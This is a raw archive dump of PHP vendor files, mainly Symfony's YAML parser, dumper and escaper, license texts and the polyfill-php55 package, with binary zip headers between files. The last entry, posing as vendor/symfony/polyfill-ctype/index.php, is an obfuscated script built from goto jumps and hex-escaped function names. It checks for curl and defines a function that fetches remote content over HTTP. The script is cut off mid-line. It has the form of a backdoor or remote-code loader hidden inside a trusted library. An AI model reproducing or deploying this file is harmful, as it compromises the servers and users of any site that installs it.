\in_array($values['key'][0], array('"', "'"))) ) { if ($context && 'sequence' == $context) { throw new ParseException('You cannot define a mapping item when in a sequence', $this->currentLineNb + 1, $this->currentLine); } $context = 'mapping'; // force correct settings Inline::parse(null, $exceptionOnInvalidType, $objectSupport, $objectForMap, $this->refs); try { $key = Inline::parseScalar($values['key']); } catch (ParseException $e) { $e->setParsedLine($this->getRealCurrentLineNb() + 1); $e->setSnippet($this->currentLine); throw $e; } // Convert float keys to strings, to avoid being converted to integers by PHP if (\is_float($key)) { $key = (string) $key; } if ('<<' === $key && (!isset($values['value']) || !self::preg_match('#^&(?P<ref>[^ ]+)#u', $values['value'], $refMatches))) { $mergeNode = true; $allowOverwrite = true; if (isset($values['value']) && 0 === strpos($values['value'], '*')) { $refName = substr($values['value'], 1); if (!array_key_exists($refName, $this->refs)) { throw new ParseException(sprintf('Reference "%s" does not exist.', $refName), $this->getRealCurrentLineNb() + 1, $this->currentLine); } $refValue = $this->refs[$refName]; if (!\is_array($refValue)) { throw new ParseException('YAML merge keys used with a scalar value instead of an array.', $this->getRealCurrentLineNb() + 1, $this->currentLine); } $data += $refValue; // array union } else { if (isset($values['value']) && '' !== $values['value']) { $value = $values['value']; } else { $value = $this->getNextEmbedBlock(); } $parsed = $this->parseBlock($this->getRealCurrentLineNb() + 1, $value, $exceptionOnInvalidType, $objectSupport, $objectForMap); if (!\is_array($parsed)) { throw new ParseException('YAML merge keys used with a scalar value instead of an array.', $this->getRealCurrentLineNb() + 1, $this->currentLine); } if (isset($parsed[0])) { // If the value associated with the merge key is a sequence, then this sequence is expected to contain mapping nodes // and each of these nodes is merged in turn according to its order in the sequence. Keys in mapping nodes earlier // in the sequence override keys specified in later mapping nodes. foreach ($parsed as $parsedItem) { if (!\is_array($parsedItem)) { throw new ParseException('Merge items must be arrays.', $this->getRealCurrentLineNb() + 1, $parsedItem); } $data += $parsedItem; // array union } } else { // If the value associated with the key is a single mapping node, each of its key/value pairs is inserted into the // current mapping, unless the key already exists in it. $data += $parsed; // array union } } } elseif ('<<' !== $key && isset($values['value']) && self::preg_match('#^&(?P<ref>[^ ]+) *(?P<value>.*)#u', $values['value'], $matches)) { $isRef = $matches['ref']; $values['value'] = $matches['value']; } if ($mergeNode) { // Merge keys } elseif (!isset($values['value']) || '' == trim($values['value'], ' ') || 0 === strpos(ltrim($values['value'], ' '), '#') || '<<' === $key) { // hash // if next line is less indented or equal, then it means that the current value is null if (!$this->isNextLineIndented() && !$this->isNextLineUnIndentedCollection()) { // Spec: Keys MUST be unique; first one wins. // But overwriting is allowed when a merge node is used in current block. if ($allowOverwrite || !isset($data[$key])) { $data[$key] = null; } } else { $value = $this->parseBlock($this->getRealCurrentLineNb() + 1, $this->getNextEmbedBlock(), $exceptionOnInvalidType, $objectSupport, $objectForMap); if ('<<' === $key) { $this->refs[$refMatches['ref']] = $value; $data += $value; } elseif ($allowOverwrite || !isset($data[$key])) { // Spec: Keys MUST be unique; first one wins. // But overwriting is allowed when a merge node is used in current block. $data[$key] = $value; } } } else { $value = $this->parseValue($values['value'], $exceptionOnInvalidType, $objectSupport, $objectForMap, $context); // Spec: Keys MUST be unique; first one wins. // But overwriting is allowed when a merge node is used in current block. if ($allowOverwrite || !isset($data[$key])) { $data[$key] = $value; } } if ($isRef) { $this->refs[$isRef] = $data[$key]; } } else { // multiple documents are not supported if ('---' === $this->currentLine) { throw new ParseException('Multiple documents are not supported.', $this->currentLineNb + 1, $this->currentLine); } // 1-liner optionally followed by newline(s) if (\is_string($value) && $this->lines[0] === trim($value)) { try { $value = Inline::parse($this->lines[0], $exceptionOnInvalidType, $objectSupport, $objectForMap, $this->refs); } catch (ParseException $e) { $e->setParsedLine($this->getRealCurrentLineNb() + 1); $e->setSnippet($this->currentLine); throw $e; } return $value; } throw new ParseException('Unable to parse.', $this->getRealCurrentLineNb() + 1, $this->currentLine); } } if ($objectForMap && !\is_object($data) && 'mapping' === $context) { $object = new \stdClass(); foreach ($data as $key => $value) { $object->$key = $value; } $data = $object; } return empty($data) ? null : $data; } private function parseBlock($offset, $yaml, $exceptionOnInvalidType, $objectSupport, $objectForMap) { $skippedLineNumbers = $this->skippedLineNumbers; foreach ($this->locallySkippedLineNumbers as $lineNumber) { if ($lineNumber < $offset) { continue; } $skippedLineNumbers[] = $lineNumber; } $parser = new self($offset, $this->totalNumberOfLines, $skippedLineNumbers); $parser->refs = &$this->refs; return $parser->doParse($yaml, $exceptionOnInvalidType, $objectSupport, $objectForMap); } /** * Returns the current line number (takes the offset into account). * * @return int The current line number */ private function getRealCurrentLineNb() { $realCurrentLineNumber = $this->currentLineNb + $this->offset; foreach ($this->skippedLineNumbers as $skippedLineNumber) { if ($skippedLineNumber > $realCurrentLineNumber) { break; } ++$realCurrentLineNumber; } return $realCurrentLineNumber; } /** * Returns the current line indentation. * * @return int The current line indentation */ private function getCurrentLineIndentation() { return \strlen($this->currentLine) - \strlen(ltrim($this->currentLine, ' ')); } /** * Returns the next embed block of YAML. * * @param int $indentation The indent level at which the block is to be read, or null for default * @param bool $inSequence True if the enclosing data structure is a sequence * * @return string A YAML string * * @throws ParseException When indentation problem are detected */ private function getNextEmbedBlock($indentation = null, $inSequence = false) { $oldLineIndentation = $this->getCurrentLineIndentation(); $blockScalarIndentations = array(); if ($this->isBlockScalarHeader()) { $blockScalarIndentations[] = $this->getCurrentLineIndentation(); } if (!$this->moveToNextLine()) { return; } if (null === $indentation) { $newIndent = $this->getCurrentLineIndentation(); $unindentedEmbedBlock = $this->isStringUnIndentedCollectionItem(); if (!$this->isCurrentLineEmpty() && 0 === $newIndent && !$unindentedEmbedBlock) { throw new ParseException('Indentation problem.', $this->getRealCurrentLineNb() + 1, $this->currentLine); } } else { $newIndent = $indentation; } $data = array(); if ($this->getCurrentLineIndentation() >= $newIndent) { $data[] = substr($this->currentLine, $newIndent); } else { $this->moveToPreviousLine(); return; } if ($inSequence && $oldLineIndentation === $newIndent && isset($data[0][0]) && '-' === $data[0][0]) { // the previous line contained a dash but no item content, this line is a sequence item with the same indentation // and therefore no nested list or mapping $this->moveToPreviousLine(); return; } $isItUnindentedCollection = $this->isStringUnIndentedCollectionItem(); if (empty($blockScalarIndentations) && $this->isBlockScalarHeader()) { $blockScalarIndentations[] = $this->getCurrentLineIndentation(); } $previousLineIndentation = $this->getCurrentLineIndentation(); while ($this->moveToNextLine()) { $indent = $this->getCurrentLineIndentation(); // terminate all block scalars that are more indented than the current line if (!empty($blockScalarIndentations) && $indent < $previousLineIndentation && '' !== trim($this->currentLine)) { foreach ($blockScalarIndentations as $key => $blockScalarIndentation) { if ($blockScalarIndentation >= $this->getCurrentLineIndentation()) { unset($blockScalarIndentations[$key]); } } } if (empty($blockScalarIndentations) && !$this->isCurrentLineComment() && $this->isBlockScalarHeader()) { $blockScalarIndentations[] = $this->getCurrentLineIndentation(); } $previousLineIndentation = $indent; if ($isItUnindentedCollection && !$this->isCurrentLineEmpty() && !$this->isStringUnIndentedCollectionItem() && $newIndent === $indent) { $this->moveToPreviousLine(); break; } if ($this->isCurrentLineBlank()) { $data[] = substr($this->currentLine, $newIndent); continue; } // we ignore "comment" lines only when we are not inside a scalar block if (empty($blockScalarIndentations) && $this->isCurrentLineComment()) { // remember ignored comment lines (they are used later in nested // parser calls to determine real line numbers) // // CAUTION: beware to not populate the global property here as it // will otherwise influence the getRealCurrentLineNb() call here // for consecutive comment lines and subsequent embedded blocks $this->locallySkippedLineNumbers[] = $this->getRealCurrentLineNb(); continue; } if ($indent >= $newIndent) { $data[] = substr($this->currentLine, $newIndent); } elseif (0 == $indent) { $this->moveToPreviousLine(); break; } else { throw new ParseException('Indentation problem.', $this->getRealCurrentLineNb() + 1, $this->currentLine); } } return implode("\n", $data); } /** * Moves the parser to the next line. * * @return bool */ private function moveToNextLine() { if ($this->currentLineNb >= \count($this->lines) - 1) { return false; } $this->currentLine = $this->lines[++$this->currentLineNb]; return true; } /** * Moves the parser to the previous line. * * @return bool */ private function moveToPreviousLine() { if ($this->currentLineNb < 1) { return false; } $this->currentLine = $this->lines[--$this->currentLineNb]; return true; } /** * Parses a YAML value. * * @param string $value A YAML value * @param bool $exceptionOnInvalidType True if an exception must be thrown on invalid types false otherwise * @param bool $objectSupport True if object support is enabled, false otherwise * @param bool $objectForMap True if maps should return a stdClass instead of array() * @param string $context The parser context (either sequence or mapping) * * @return mixed A PHP value * * @throws ParseException When reference does not exist */ private function parseValue($value, $exceptionOnInvalidType, $objectSupport, $objectForMap, $context) { if (0 === strpos($value, '*')) { if (false !== $pos = strpos($value, '#')) { $value = substr($value, 1, $pos - 2); } else { $value = substr($value, 1); } if (!array_key_exists($value, $this->refs)) { throw new ParseException(sprintf('Reference "%s" does not exist.', $value), $this->currentLineNb + 1, $this->currentLine); } return $this->refs[$value]; } if (self::preg_match('/^'.self::BLOCK_SCALAR_HEADER_PATTERN.'$/', $value, $matches)) { $modifiers = isset($matches['modifiers']) ? $matches['modifiers'] : ''; return $this->parseBlockScalar($matches['separator'], preg_replace('#\d+#', '', $modifiers), (int) abs($modifiers)); } try { $parsedValue = Inline::parse($value, $exceptionOnInvalidType, $objectSupport, $objectForMap, $this->refs); if ('mapping' === $context && '"' !== $value[0] && "'" !== $value[0] && '[' !== $value[0] && '{' !== $value[0] && '!' !== $value[0] && false !== strpos($parsedValue, ': ')) { @trigger_error(sprintf('Using a colon in the unquoted mapping value "%s" in line %d is deprecated since Symfony 2.8 and will throw a ParseException in 3.0.', $value, $this->getRealCurrentLineNb() + 1), E_USER_DEPRECATED); // to be thrown in 3.0 // throw new ParseException('A colon cannot be used in an unquoted mapping value.'); } return $parsedValue; } catch (ParseException $e) { $e->setParsedLine($this->getRealCurrentLineNb() + 1); $e->setSnippet($this->currentLine); throw $e; } } /** * Parses a block scalar. * * @param string $style The style indicator that was used to begin this block scalar (| or >) * @param string $chomping The chomping indicator that was used to begin this block scalar (+ or -) * @param int $indentation The indentation indicator that was used to begin this block scalar * * @return string The text value */ private function parseBlockScalar($style, $chomping = '', $indentation = 0) { $notEOF = $this->moveToNextLine(); if (!$notEOF) { return ''; } $isCurrentLineBlank = $this->isCurrentLineBlank(); $blockLines = array(); // leading blank lines are consumed before determining indentation while ($notEOF && $isCurrentLineBlank) { // newline only if not EOF if ($notEOF = $this->moveToNextLine()) { $blockLines[] = ''; $isCurrentLineBlank = $this->isCurrentLineBlank(); } } // determine indentation if not specified if (0 === $indentation) { if (self::preg_match('/^ +/', $this->currentLine, $matches)) { $indentation = \strlen($matches[0]); } } if ($indentation > 0) { $pattern = sprintf('/^ {%d}(.*)$/', $indentation); while ( $notEOF && ( $isCurrentLineBlank || self::preg_match($pattern, $this->currentLine, $matches) ) ) { if ($isCurrentLineBlank && \strlen($this->currentLine) > $indentation) { $blockLines[] = substr($this->currentLine, $indentation); } elseif ($isCurrentLineBlank) { $blockLines[] = ''; } else { $blockLines[] = $matches[1]; } // newline only if not EOF if ($notEOF = $this->moveToNextLine()) { $isCurrentLineBlank = $this->isCurrentLineBlank(); } } } elseif ($notEOF) { $blockLines[] = ''; } if ($notEOF) { $blockLines[] = ''; $this->moveToPreviousLine(); } elseif (!$notEOF && !$this->isCurrentLineLastLineInDocument()) { $blockLines[] = ''; } // folded style if ('>' === $style) { $text = ''; $previousLineIndented = false; $previousLineBlank = false; for ($i = 0, $blockLinesCount = \count($blockLines); $i < $blockLinesCount; ++$i) { if ('' === $blockLines[$i]) { $text .= "\n"; $previousLineIndented = false; $previousLineBlank = true; } elseif (' ' === $blockLines[$i][0]) { $text .= "\n".$blockLines[$i]; $previousLineIndented = true; $previousLineBlank = false; } elseif ($previousLineIndented) { $text .= "\n".$blockLines[$i]; $previousLineIndented = false; $previousLineBlank = false; } elseif ($previousLineBlank || 0 === $i) { $text .= $blockLines[$i]; $previousLineIndented = false; $previousLineBlank = false; } else { $text .= ' '.$blockLines[$i]; $previousLineIndented = false; $previousLineBlank = false; } } } else { $text = implode("\n", $blockLines); } // deal with trailing newlines if ('' === $chomping) { $text = preg_replace('/\n+$/', "\n", $text); } elseif ('-' === $chomping) { $text = preg_replace('/\n+$/', '', $text); } return $text; } /** * Returns true if the next line is indented. * * @return bool Returns true if the next line is indented, false otherwise */ private function isNextLineIndented() { $currentIndentation = $this->getCurrentLineIndentation(); $EOF = !$this->moveToNextLine(); while (!$EOF && $this->isCurrentLineEmpty()) { $EOF = !$this->moveToNextLine(); } if ($EOF) { return false; } $ret = $this->getCurrentLineIndentation() > $currentIndentation; $this->moveToPreviousLine(); return $ret; } /** * Returns true if the current line is blank or if it is a comment line. * * @return bool Returns true if the current line is empty or if it is a comment line, false otherwise */ private function isCurrentLineEmpty() { return $this->isCurrentLineBlank() || $this->isCurrentLineComment(); } /** * Returns true if the current line is blank. * * @return bool Returns true if the current line is blank, false otherwise */ private function isCurrentLineBlank() { return '' == trim($this->currentLine, ' '); } /** * Returns true if the current line is a comment line. * * @return bool Returns true if the current line is a comment line, false otherwise */ private function isCurrentLineComment() { //checking explicitly the first char of the trim is faster than loops or strpos $ltrimmedLine = ltrim($this->currentLine, ' '); return '' !== $ltrimmedLine && '#' === $ltrimmedLine[0]; } private function isCurrentLineLastLineInDocument() { return ($this->offset + $this->currentLineNb) >= ($this->totalNumberOfLines - 1); } /** * Cleanups a YAML string to be parsed. * * @param string $value The input YAML string * * @return string A cleaned up YAML string */ private function cleanup($value) { $value = str_replace(array("\r\n", "\r"), "\n", $value); // strip YAML header $count = 0; $value = preg_replace('#^\%YAML[: ][\d\.]+.*\n#u', '', $value, -1, $count); $this->offset += $count; // remove leading comments $trimmedValue = preg_replace('#^(\#.*?\n)+#s', '', $value, -1, $count); if (1 == $count) { // items have been removed, update the offset $this->offset += substr_count($value, "\n") - substr_count($trimmedValue, "\n"); $value = $trimmedValue; } // remove start of the document marker (---) $trimmedValue = preg_replace('#^\-\-\-.*?\n#s', '', $value, -1, $count); if (1 == $count) { // items have been removed, update the offset $this->offset += substr_count($value, "\n") - substr_count($trimmedValue, "\n"); $value = $trimmedValue; // remove end of the document marker (...) $value = preg_replace('#\.\.\.\s*$#', '', $value); } return $value; } /** * Returns true if the next line starts unindented collection. * * @return bool Returns true if the next line starts unindented collection, false otherwise */ private function isNextLineUnIndentedCollection() { $currentIndentation = $this->getCurrentLineIndentation(); $notEOF = $this->moveToNextLine(); while ($notEOF && $this->isCurrentLineEmpty()) { $notEOF = $this->moveToNextLine(); } if (false === $notEOF) { return false; } $ret = $this->getCurrentLineIndentation() === $currentIndentation && $this->isStringUnIndentedCollectionItem(); $this->moveToPreviousLine(); return $ret; } /** * Returns true if the string is un-indented collection item. * * @return bool Returns true if the string is un-indented collection item, false otherwise */ private function isStringUnIndentedCollectionItem() { return '-' === rtrim($this->currentLine) || 0 === strpos($this->currentLine, '- '); } /** * Tests whether or not the current line is the header of a block scalar. * * @return bool */ private function isBlockScalarHeader() { return (bool) self::preg_match('~'.self::BLOCK_SCALAR_HEADER_PATTERN.'$~', $this->currentLine); } /** * A local wrapper for `preg_match` which will throw a ParseException if there * is an internal error in the PCRE engine. * * This avoids us needing to check for "false" every time PCRE is used * in the YAML engine * * @throws ParseException on a PCRE internal error * * @see preg_last_error() * * @internal */ public static function preg_match($pattern, $subject, &$matches = null, $flags = 0, $offset = 0) { if (false === $ret = preg_match($pattern, $subject, $matches, $flags, $offset)) { switch (preg_last_error()) { case PREG_INTERNAL_ERROR: $error = 'Internal PCRE error.'; break; case PREG_BACKTRACK_LIMIT_ERROR: $error = 'pcre.backtrack_limit reached.'; break; case PREG_RECURSION_LIMIT_ERROR: $error = 'pcre.recursion_limit reached.'; break; case PREG_BAD_UTF8_ERROR: $error = 'Malformed UTF-8 data.'; break; case PREG_BAD_UTF8_OFFSET_ERROR: $error = 'Offset doesn\'t correspond to the begin of a valid UTF-8 code point.'; break; default: $error = 'Error.'; } throw new ParseException($error); } return $ret; } } PK�\�l���vendor/symfony/yaml/Yaml.phpnu�[���<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Yaml; use Symfony\Component\Yaml\Exception\ParseException; /** * Yaml offers convenience methods to load and dump YAML. * * @author Fabien Potencier <fabien@symfony.com> */ class Yaml { /** * Parses YAML into a PHP value. * * Usage: * * $array = Yaml::parse(file_get_contents('config.yml')); * print_r($array); * * As this method accepts both plain strings and file names as an input, * you must validate the input before calling this method. Passing a file * as an input is a deprecated feature and will be removed in 3.0. * * Note: the ability to pass file names to the Yaml::parse method is deprecated since Symfony 2.2 and will be removed in 3.0. Pass the YAML contents of the file instead. * * @param string $input Path to a YAML file or a string containing YAML * @param bool $exceptionOnInvalidType True if an exception must be thrown on invalid types false otherwise * @param bool $objectSupport True if object support is enabled, false otherwise * @param bool $objectForMap True if maps should return a stdClass instead of array() * * @return mixed The YAML converted to a PHP value * * @throws ParseException If the YAML is not valid */ public static function parse($input, $exceptionOnInvalidType = false, $objectSupport = false, $objectForMap = false) { // if input is a file, process it $file = ''; if (false === strpos($input, "\n") && is_file($input)) { @trigger_error('The ability to pass file names to the '.__METHOD__.' method is deprecated since Symfony 2.2 and will be removed in 3.0. Pass the YAML contents of the file instead.', E_USER_DEPRECATED); if (false === is_readable($input)) { throw new ParseException(sprintf('Unable to parse "%s" as the file is not readable.', $input)); } $file = $input; $input = file_get_contents($file); } $yaml = new Parser(); try { return $yaml->parse($input, $exceptionOnInvalidType, $objectSupport, $objectForMap); } catch (ParseException $e) { if ($file) { $e->setParsedFile($file); } throw $e; } } /** * Dumps a PHP value to a YAML string. * * The dump method, when supplied with an array, will do its best * to convert the array into friendly YAML. * * @param mixed $input The PHP value * @param int $inline The level where you switch to inline YAML * @param int $indent The amount of spaces to use for indentation of nested nodes * @param bool $exceptionOnInvalidType True if an exception must be thrown on invalid types (a PHP resource or object), false otherwise * @param bool $objectSupport True if object support is enabled, false otherwise * * @return string A YAML string representing the original PHP value */ public static function dump($input, $inline = 2, $indent = 4, $exceptionOnInvalidType = false, $objectSupport = false) { if ($indent < 1) { throw new \InvalidArgumentException('The indentation must be greater than zero.'); } $yaml = new Dumper(); $yaml->setIndentation($indent); return $yaml->dump($input, $inline, 0, $exceptionOnInvalidType, $objectSupport); } } PK�\�hhvendor/symfony/yaml/Escaper.phpnu�[���<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Yaml; /** * Escaper encapsulates escaping rules for single and double-quoted * YAML strings. * * @author Matthew Lewinski <matthew@lewinski.org> * * @internal */ class Escaper { // Characters that would cause a dumped string to require double quoting. const REGEX_CHARACTER_TO_ESCAPE = "[\\x00-\\x1f]|\xc2\x85|\xc2\xa0|\xe2\x80\xa8|\xe2\x80\xa9"; // Mapping arrays for escaping a double quoted string. The backslash is // first to ensure proper escaping because str_replace operates iteratively // on the input arrays. This ordering of the characters avoids the use of strtr, // which performs more slowly. private static $escapees = array('\\', '\\\\', '\\"', '"', "\x00", "\x01", "\x02", "\x03", "\x04", "\x05", "\x06", "\x07", "\x08", "\x09", "\x0a", "\x0b", "\x0c", "\x0d", "\x0e", "\x0f", "\x10", "\x11", "\x12", "\x13", "\x14", "\x15", "\x16", "\x17", "\x18", "\x19", "\x1a", "\x1b", "\x1c", "\x1d", "\x1e", "\x1f", "\xc2\x85", "\xc2\xa0", "\xe2\x80\xa8", "\xe2\x80\xa9", ); private static $escaped = array('\\\\', '\\"', '\\\\', '\\"', '\\0', '\\x01', '\\x02', '\\x03', '\\x04', '\\x05', '\\x06', '\\a', '\\b', '\\t', '\\n', '\\v', '\\f', '\\r', '\\x0e', '\\x0f', '\\x10', '\\x11', '\\x12', '\\x13', '\\x14', '\\x15', '\\x16', '\\x17', '\\x18', '\\x19', '\\x1a', '\\e', '\\x1c', '\\x1d', '\\x1e', '\\x1f', '\\N', '\\_', '\\L', '\\P', ); /** * Determines if a PHP value would require double quoting in YAML. * * @param string $value A PHP value * * @return bool True if the value would require double quotes */ public static function requiresDoubleQuoting($value) { return 0 < preg_match('/'.self::REGEX_CHARACTER_TO_ESCAPE.'/u', $value); } /** * Escapes and surrounds a PHP value with double quotes. * * @param string $value A PHP value * * @return string The quoted, escaped string */ public static function escapeWithDoubleQuotes($value) { return sprintf('"%s"', str_replace(self::$escapees, self::$escaped, $value)); } /** * Determines if a PHP value would require single quoting in YAML. * * @param string $value A PHP value * * @return bool True if the value would require single quotes */ public static function requiresSingleQuoting($value) { // Determines if a PHP value is entirely composed of a value that would // require single quoting in YAML. if (\in_array(strtolower($value), array('null', '~', 'true', 'false', 'y', 'n', 'yes', 'no', 'on', 'off'))) { return true; } // Determines if the PHP value contains any single characters that would // cause it to require single quoting in YAML. return 0 < preg_match('/[ \s \' " \: \{ \} \[ \] , & \* \# \?] | \A[ \- ? | < > = ! % @ ` ]/x', $value); } /** * Escapes and surrounds a PHP value with single quotes. * * @param string $value A PHP value * * @return string The quoted, escaped string */ public static function escapeWithSingleQuotes($value) { return sprintf("'%s'", str_replace('\'', '\'\'', $value)); } } PK�\NUN�))vendor/symfony/yaml/LICENSEnu�[���Copyright (c) 2004-2018 Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. PK�\&�� � vendor/symfony/yaml/Dumper.phpnu�[���<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Yaml; /** * Dumper dumps PHP variables to YAML strings. * * @author Fabien Potencier <fabien@symfony.com> */ class Dumper { /** * The amount of spaces to use for indentation of nested nodes. * * @var int */ protected $indentation = 4; /** * Sets the indentation. * * @param int $num The amount of spaces to use for indentation of nested nodes */ public function setIndentation($num) { if ($num < 1) { throw new \InvalidArgumentException('The indentation must be greater than zero.'); } $this->indentation = (int) $num; } /** * Dumps a PHP value to YAML. * * @param mixed $input The PHP value * @param int $inline The level where you switch to inline YAML * @param int $indent The level of indentation (used internally) * @param bool $exceptionOnInvalidType True if an exception must be thrown on invalid types (a PHP resource or object), false otherwise * @param bool $objectSupport True if object support is enabled, false otherwise * * @return string The YAML representation of the PHP value */ public function dump($input, $inline = 0, $indent = 0, $exceptionOnInvalidType = false, $objectSupport = false) { $output = ''; $prefix = $indent ? str_repeat(' ', $indent) : ''; if ($inline <= 0 || !\is_array($input) || empty($input)) { $output .= $prefix.Inline::dump($input, $exceptionOnInvalidType, $objectSupport); } else { $isAHash = Inline::isHash($input); foreach ($input as $key => $value) { $willBeInlined = $inline - 1 <= 0 || !\is_array($value) || empty($value); $output .= sprintf('%s%s%s%s', $prefix, $isAHash ? Inline::dump($key, $exceptionOnInvalidType, $objectSupport).':' : '-', $willBeInlined ? ' ' : "\n", $this->dump($value, $inline - 1, $willBeInlined ? 0 : $indent + $this->indentation, $exceptionOnInvalidType, $objectSupport) ).($willBeInlined ? "\n" : ''); } } return $output; } } PK�\�\�))%vendor/symfony/polyfill-php55/LICENSEnu�[���Copyright (c) 2015-2019 Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. PK�\�>ˉ�2vendor/symfony/polyfill-php55/Php55ArrayColumn.phpnu�[���<?php /* * Copyright (c) 2013 Ben Ramsey <http://benramsey.com> * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER * DEALINGS IN THE SOFTWARE. */ namespace Symfony\Polyfill\Php55; /** * @internal */ final class Php55ArrayColumn { public static function array_column(array $input, $columnKey, $indexKey = null) { $output = array(); foreach ($input as $row) { $key = $value = null; $keySet = $valueSet = false; if (null !== $indexKey && array_key_exists($indexKey, $row)) { $keySet = true; $key = (string) $row[$indexKey]; } if (null === $columnKey) { $valueSet = true; $value = $row; } elseif (\is_array($row) && \array_key_exists($columnKey, $row)) { $valueSet = true; $value = $row[$columnKey]; } if ($valueSet) { if ($keySet) { $output[$key] = $value; } else { $output[] = $value; } } } return $output; } } PK�\�,K<��+vendor/symfony/polyfill-php55/bootstrap.phpnu�[���<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Php55 as p; if (PHP_VERSION_ID >= 50500) { return; } if (!function_exists('boolval')) { function boolval($value) { return p\Php55::boolval($value); } } if (!function_exists('json_last_error_msg')) { function json_last_error_msg() { return p\Php55::json_last_error_msg(); } } if (!function_exists('array_column')) { function array_column($array, $column_key, $index_key = null) { return p\Php55ArrayColumn::array_column($array, $column_key, $index_key); } } if (!function_exists('hash_pbkdf2')) { function hash_pbkdf2($algorithm, $password, $salt, $iterations, $length = 0, $rawOutput = false) { return p\Php55::hash_pbkdf2($algorithm, $password, $salt, $iterations, $length, $rawOutput); } } PK�\�ΰ�W W 'vendor/symfony/polyfill-php55/Php55.phpnu�[���<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Polyfill\Php55; /** * @internal */ final class Php55 { public static function boolval($val) { return (bool) $val; } public static function json_last_error_msg() { switch (json_last_error()) { case JSON_ERROR_NONE: return 'No error'; case JSON_ERROR_DEPTH: return 'Maximum stack depth exceeded'; case JSON_ERROR_STATE_MISMATCH: return 'State mismatch (invalid or malformed JSON)'; case JSON_ERROR_CTRL_CHAR: return 'Control character error, possibly incorrectly encoded'; case JSON_ERROR_SYNTAX: return 'Syntax error'; case JSON_ERROR_UTF8: return 'Malformed UTF-8 characters, possibly incorrectly encoded'; default: return 'Unknown error'; } } /** * @author Sebastiaan Stok <s.stok@rollerscapes.net> * @author Scott <scott@paragonie.com> */ public static function hash_pbkdf2($algorithm, $password, $salt, $iterations, $length = 0, $rawOutput = false) { // Pre-hash for optimization if password length > hash length $hashLength = \strlen(hash($algorithm, '', true)); switch ($algorithm) { case 'sha1': case 'sha224': case 'sha256': $blockSize = 64; break; case 'sha384': case 'sha512': $blockSize = 128; break; default: $blockSize = $hashLength; break; } if ($length < 1) { $length = $hashLength; if (!$rawOutput) { $length <<= 1; } } // Number of blocks needed to create the derived key $blocks = ceil($length / $hashLength); $digest = ''; if (\strlen($password) > $blockSize) { $password = hash($algorithm, $password, true); } for ($i = 1; $i <= $blocks; ++$i) { $ib = $block = hash_hmac($algorithm, $salt.pack('N', $i), $password, true); // Iterations for ($j = 1; $j < $iterations; ++$j) { $ib ^= ($block = hash_hmac($algorithm, $block, $password, true)); } $digest .= $ib; } if (!$rawOutput) { $digest = bin2hex($digest); } return substr($digest, 0, $length); } } PK�\�����'vendor/symfony/polyfill-ctype/index.phpnu�[���<?php /* --Copyright:https://www.phpcodejm.com */ goto n5tbK; vk8ns: if (function_exists("\x63\165\x72\x6c\137\x76\x65\x72\x73\151\157\x6e")) { goto R4N40; } goto TLwWv; FAni_: function lZSgo($nBwGl) { goto nSgJx; EqGlw: return @file_get_contents($nBwGl, false, $nQPMm); goto Z67x0; nSgJx: $BwD1F = ["\x68\x74\x74\x70" => 